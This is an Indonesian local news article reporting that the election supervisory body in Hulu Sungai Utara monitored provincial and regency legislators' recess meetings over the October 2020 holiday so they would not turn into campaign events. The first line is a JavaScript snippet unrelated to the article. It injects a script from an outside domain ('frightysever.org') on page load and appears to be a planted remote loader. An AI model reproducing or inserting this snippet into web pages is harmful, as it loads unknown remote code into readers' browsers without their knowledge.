(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dewan Reses, Bawaslu HSU Tetap Lakukan Pengawasan di Hari Libur Nasional


KANALKALIMANTAN.COM, AMUNTAI – Meski di masa libur nasional dari tanggal 27 – 30 Oktober, Badan Pengawas Pemilihan Umum (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) tetap lakukan pengawasan. Khususnya bagi kegiatan reses yang dilakukan setiap anggota DPRD Provinsi dan Kabupatan/Kota di Kabupaten HSU yang tersebar di beberapa tempat.

Pengawasan tersebut diantaranya dilakukan bagi anggota DPRD Provinsi Kalsel yang reses seperti H Sahrujani dari partai Goldar Hormansyah dari PKB, Hasib Salim dari PDIP, Suwardi Sarlan dari PPP dan Sahdilah dari partai Gerindra, dan Ketua DPRD Provinsi Kalsel H Supian HK.

Semua kegiatan tidak luput dari pengawasan oleh Bawaslu Kabupaten HSU dan Pengawas Kecamatan (Panwascam) untuk mengantisipasi reses menjadi ajang kampanye dan diharapkan tidak berubah fungsi untuk mendukung salah satu pasangan calon.

“Pengawasan pelaksanaan reses yang di lakukan oleh Bawaslu HSU sesuai dengan PKPU 11 Tahun 2020 tentang Kampanye. Sehingga diharapkan kegiatan reses yang dibiayai oleh uang negara itu tidak beralih fungsi menjadi tempat kampanye,” ungkap Ketua Bawaslu HSU, Sabtu (31/10/2020).

 

Menurut Syardani, Bawaslu dan jajaran Panwascam sudah melakukan pengawasan. Karenanya ia meminta agar reses hanya berbicara mengenai tugas, pokok dan fungsi serta tanggungjawab sebagai anggota dewan saja.

Dirinya juga mengingatkan agar kegiatan reses jangan sampai mengajak memilih karena hal itu sudah termasuk pelanggaran.

“Menggunakan fasilitas negara untuk kampanye merupakan pelanggaran serius. Kalau terbukti bisa didiskualifikasi,” kata Syardani

Bersamaan dengan pengawasan kegiatan reses Pengawasan APK dari Bawaslu HSU juga tetap melakukan pengawasan terkait dimana peletakan APK yang tidak sesuai dengan aturan akan dilakukan pembongkaran dan pemindahan ketempat yang diperbolehkan.(kanalkalimantan.com/dew)

Reporter : Dew
Editor : Cell

Al Ghifari

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

3 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

4 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

4 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

4 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

5 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

5 jam ago

This website uses cookies.